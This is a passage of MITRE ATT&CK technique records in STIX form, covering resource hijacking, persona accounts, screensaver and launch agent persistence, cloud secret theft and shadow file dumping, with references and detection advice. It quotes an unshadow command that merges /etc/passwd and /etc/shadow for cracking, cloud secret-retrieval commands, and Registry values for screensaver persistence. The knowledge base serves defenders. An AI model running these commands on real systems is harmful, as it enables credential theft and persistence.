One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)
Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)
Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1496",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1496"
},
{
"description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
"external_id": null,
"source_name": "Unit 42 Hildegard Malware",
"url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
},
{
"description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.",
"external_id": null,
"source_name": "CloudSploit - Unused AWS Regions",
"url": "https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc"
},
{
"description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.",
"external_id": null,
"source_name": "Sysdig Proxyjacking",
"url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"
},
{
"description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.",
"external_id": null,
"source_name": "Kaspersky Lazarus Under The Hood Blog 2017",
"url": "https://securelist.com/lazarus-under-the-hood/77908/"
},
{
"description": "Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.",
"external_id": null,
"source_name": "Trend Micro Exposed Docker APIs",
"url": "https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html"
},
{
"description": "Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.",
"external_id": null,
"source_name": "Trend Micro War of Crypto Miners",
"url": "https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html"
},
{
"description": "Zuzana Hromcová. (2019, July 8). Malicious campaign targets South Korean users with backdoor‑laced torrents. Retrieved March 31, 2022.",
"external_id": null,
"source_name": "GoBotKR",
"url": "https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"IaaS",
"Linux",
"macOS",
"Containers"
] | 1.5 |
attack-pattern | attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T01:05:42.216000Z" | "2024-02-28T21:08:56.520000Z" | Establish Accounts | Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)
For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)
Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for malicious purposes.(Citation: Free Trial PurpleUrchin)
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1585",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1585"
},
{
"description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
"external_id": null,
"source_name": "Free Trial PurpleUrchin",
"url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
},
{
"description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
"external_id": null,
"source_name": "NEWSCASTER2014",
"url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
},
{
"description": "Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.",
"external_id": null,
"source_name": "Mandiant APT1",
"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
},
{
"description": "Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.",
"external_id": null,
"source_name": "BlackHatRobinSage",
"url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.3 |
attack-pattern | attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T01:56:24.776000Z" | "2021-10-18T12:26:22.831000Z" | Obtain Capabilities | Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.
In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)
In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1588",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588"
},
{
"description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
"external_id": null,
"source_name": "NationsBuying",
"url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
},
{
"description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
"external_id": null,
"source_name": "PegasusCitizenLab",
"url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
},
{
"description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
"external_id": null,
"source_name": "DiginotarCompromise",
"url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
},
{
"description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
"external_id": null,
"source_name": "FireEyeSupplyChain",
"url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
},
{
"description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Analyzing CS Dec 2020",
"url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
},
{
"description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
"external_id": null,
"source_name": "Splunk Kovar Certificates 2017",
"url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
},
{
"description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.",
"external_id": null,
"source_name": "Recorded Future Beacon Certificates",
"url": "https://www.recordedfuture.com/cobalt-strike-servers/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)
Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-24T13:51:01.210000Z" | "2023-07-28T18:17:34.185000Z" | Screensaver | Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.
The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:
* <code>SCRNSAVE.exe</code> - set to malicious PE path
* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver
* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1546.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/002"
},
{
"description": "ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.",
"external_id": null,
"source_name": "ESET Gazer Aug 2017",
"url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
},
{
"description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
"external_id": null,
"source_name": "Wikipedia Screensaver",
"url": "https://en.wikipedia.org/wiki/Screensaver"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.
Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2024-01-02T13:43:37.389000Z" | "2024-04-18T20:53:46.175000Z" | Conditional Access Policies | Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.
For example, in Azure AD, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required.
By modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1556.009",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1556/009"
},
{
"description": "AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved January 2, 2024.",
"external_id": null,
"source_name": "AWS IAM Conditions",
"url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html"
},
{
"description": "Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January 2, 2024.",
"external_id": null,
"source_name": "GCP IAM Conditions",
"url": "https://cloud.google.com/iam/docs/conditions-overview"
},
{
"description": "JumpCloud. (n.d.). Get Started: Conditional Access Policies. Retrieved January 2, 2024.",
"external_id": null,
"source_name": "JumpCloud Conditional Access Policies",
"url": "https://jumpcloud.com/support/get-started-conditional-access-policies"
},
{
"description": "Microsoft. (2023, November 15). What is Conditional Access?. Retrieved January 2, 2024.",
"external_id": null,
"source_name": "Microsoft Conditional Access",
"url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview"
},
{
"description": "Okta. (2023, November 30). Conditional Access Based on Device Security Posture. Retrieved January 2, 2024.",
"external_id": null,
"source_name": "Okta Conditional Access Policies",
"url": "https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Azure AD",
"SaaS",
"IaaS"
] | 1.0 |
|
attack-pattern | attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-05-14T14:45:15.978000Z" | "2021-03-08T10:33:02.034000Z" | Create Cloud Instance | An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)
Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1578.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1578/002"
},
{
"description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.",
"external_id": null,
"source_name": "Mandiant M-Trends 2020",
"url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020"
},
{
"description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.",
"external_id": null,
"source_name": "AWS CloudTrail Search",
"url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"
},
{
"description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.",
"external_id": null,
"source_name": "Azure Activity Logs",
"url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"
},
{
"description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.",
"external_id": null,
"source_name": "Cloud Audit Logs",
"url": "https://cloud.google.com/logging/docs/audit#admin-activity"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.
In AWS, CloudTrail logs capture the creation of an instance in the <code>RunInstances</code> event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances create</code> to create a VM.(Citation: Cloud Audit Logs) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS"
] | 1.1 |
attack-pattern | attack-pattern--cfb525cc-5494-401d-a82b-2539ca46a561 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-09-25T12:41:26.501000Z" | "2023-09-30T20:24:19.357000Z" | Cloud Secrets Management Stores | Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault.
Secrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables.
If an adversary is able to gain sufficient privileges in a cloud environment – for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets – they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation: Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)
**Note:** this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1555.006",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1555/006"
},
{
"description": "Alessandro Brucato. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved September 25, 2023.",
"external_id": null,
"source_name": "Sysdig ScarletEel 2.0 2023",
"url": "https://sysdig.com/blog/scarleteel-2-0/"
},
{
"description": "AWS. (n.d.). Retrieve secrets from AWS Secrets Manager. Retrieved September 25, 2023.",
"external_id": null,
"source_name": "AWS Secrets Manager",
"url": "https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html"
},
{
"description": "Google Cloud. (n.d.). List secrets and view secret details. Retrieved September 25, 2023.",
"external_id": null,
"source_name": "Google Cloud Secrets",
"url": "https://cloud.google.com/secret-manager/docs/view-secret-details"
},
{
"description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.",
"external_id": null,
"source_name": "Permiso Scattered Spider 2023",
"url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
},
{
"description": "Microsoft. (2023, January 13). Quickstart: Set and retrieve a secret from Azure Key Vault using Azure CLI. Retrieved September 25, 2023.",
"external_id": null,
"source_name": "Microsoft Azure Key Vault",
"url": "https://learn.microsoft.com/en-us/azure/key-vault/secrets/quick-create-cli"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS"
] | 1.0 |
|
attack-pattern | attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-05-11T18:51:16.343000Z" | "2022-10-18T22:44:01.723000Z" | Code Repositories | Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.
Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)
**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1213.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1213/003"
},
{
"description": "Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.",
"external_id": null,
"source_name": "Wired Uber Breach",
"url": "https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/"
},
{
"description": "Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021.",
"external_id": null,
"source_name": "Krebs Adobe",
"url": "https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"SaaS"
] | 1.1 |
attack-pattern | attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-02T14:27:00.693000Z" | "2022-04-19T23:04:44.258000Z" | Transmitted Data Manipulation | Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1565.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1565/002"
},
{
"description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
"external_id": null,
"source_name": "DOJ Lazarus Sony 2018",
"url": "https://www.justice.gov/opa/press-release/file/1092091/download"
},
{
"description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
"external_id": null,
"source_name": "FireEye APT38 Oct 2018",
"url": "https://content.fireeye.com/apt/rpt-apt38"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:46:56.263000Z" | "2020-03-20T15:56:55.022000Z" | /etc/passwd and /etc/shadow | Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)
The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1003.008",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/008"
},
{
"description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.",
"external_id": null,
"source_name": "Linux Password and Shadow File Formats",
"url": "https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html"
},
{
"description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.",
"external_id": null,
"source_name": "nixCraft - John the Ripper",
"url": "https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access <code>/etc/passwd</code> and <code>/etc/shadow</code>, alerting on the pid, process name, and arguments of such programs. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux"
] | 1.0 |
attack-pattern | attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-17T16:10:58.592000Z" | "2022-04-21T16:13:00.598000Z" | Launch Agent | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.
Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
